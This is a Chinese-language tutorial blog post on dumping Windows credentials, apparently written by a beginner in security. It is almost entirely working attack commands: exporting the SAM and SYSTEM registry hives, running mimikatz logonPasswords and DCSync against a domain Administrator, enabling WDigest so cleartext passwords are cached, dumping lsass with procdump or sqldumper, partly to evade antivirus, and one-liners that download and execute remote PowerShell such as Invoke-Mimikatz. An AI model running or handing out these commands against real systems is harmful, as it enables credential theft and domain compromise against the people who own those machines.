由于本人是第一次写文章,算是对自己的知识进行梳理也算是炒冷饭了,欢迎大家的批评与建议。
本文仅用于技术讨论与研究,对于文中所有的工具以及命令,都是本人自行搭建的环境进行测试的。文中使用的技术仅用于学习教育目的,如果文中出现的技术用于其他任何目的及目标,作者概不负责。
1.抓取本地SAM文件中的密码 从注册表中导出
reg save HKLM\SYSTEM sys.hiv ? #获取SYSTEM注册表信息,导出为sys.hiv文件
reg save HKLM\SAM sam.hiv ? ? ? ? ? #获取SAM注册表信息,导出为sam.hiv文件
2.还可以使用nihs_x0008_ng中的Invoke-NinjaCopy.ps1脚本导出
①导出SAM文件 Invoke-NinjaCopy -Path "C:\Windows\System32\con fig\SYSTEM" -LocalDestination "C:\Windows\Temp\PowerShell-master\PowerShell-master\Invoke-NinjaCopy\sys.hiv"
②导出SYSTEM文件 Invoke-NinjaCopy -Path "C:\Windows\System32\conf ig\SAM" -LocalDestination "C:\Windows\Temp\PowerShell-master\PowerShell-master\Invoke-NinjaCopy\sam.hiv"
在线加载:? powershell -exec bypass "IEX (New-Object Net.WebClient).DownloadString('http://ip/Invoke-NinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination C:\SAM.txt;"
本地加载:? powershell -exec bypass "Import-Module .\Invoke-NinjaCopy.ps1;Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination sam.hive"
利用empire里面的Invoke-PowerDump.ps1脚本,下载地址: https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-PowerDump.ps1
从左到右依次是: ? ?用户名 ?: Rid ?: ntlm ?: ?lm::: Rid为500代表是管理员,504代表是guest账号等。lm跟ntlm的区别是加密方法的不同
用mimikatz解密导出的两个文件
privilege::debug #提升权限
lsadump::sam /sam:sam.hiv /system:sys.hiv ? ? #mimikatz运行解密命令
当我们没法使用交互式的命令时可以使用下面的命令导出
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
privilege::debug 提升权限
sekurlsa::logonPasswords 抓取密码
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit" > pass.txt
lsadump::sam /sam:Sam.hiv /system:System.hiv ?导出用户hash
使用PowerShell Mimikatz
使用Mimikatz的DCSync 远程转储Active Directory凭证提取用户帐户的密码数据: Mimikatz "privilege::debug" "lsadump::dcsync /domain:xxx /user:dbadmin"exit
管理员用户帐户提取密码数据:
Mimikatz "privilege::debug" "lsadump::dcsync /domain:xxx /user:Administrator" exit
使用mimikatz.exe,执行ts::multirdp允许多用户远程登录
需要说明一下的是,当系统为win10或者win2012R2以上时,默认内存缓存中禁止保存明文密码,此时可以通过修改组测表的方式抓取明文,但是需要用户重新登陆后才能抓取成功。 命令如下:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
当重启服务器的时候,我们重新加载mimikatz,就可以抓取密码。
用saminside解密导出的两个文件 打开工具saminside导入sam与system文件 如图:
①把lsass进程文件拖回本地破解(因为直接上传会报杀)注意工具与目标系统位数要一致
procdump.exe -accepteula -ma lsass.exe c:\lsass.dmp ? ? #在目标机子执行导出为lsass.dmp,然后拖回本地
挂载lsass.dmp文件 sekurlsa::minidump lsass.dmp ? ?#挂载lsass.dmp
抓取lsass.dmp文件中的密码 log ?#会在目录下生成.log文件,方便查看 sekurlsa::logonpasswords ?#mimikatz执行,在拖回的.dmp文件抓取密码
①首先查看lsass进程的PID tasklist /svc |findstr lsass.exe
②利用sqldumper转储 Sqldumper.exe <PID> 0 0x01100 ? ?#后面的数字是固定的,然后就会生成Sqlxxx.mdmp文件
③利用mimikatz抓取hash sekurlsa::minidump SQLDmpr0001.mdmp sekurlsa::logonPasswords
希望大家多多批评指导,本人也是一个刚刚打开安全大门的弱鸡大家共同努力为网络安全添砖加瓦。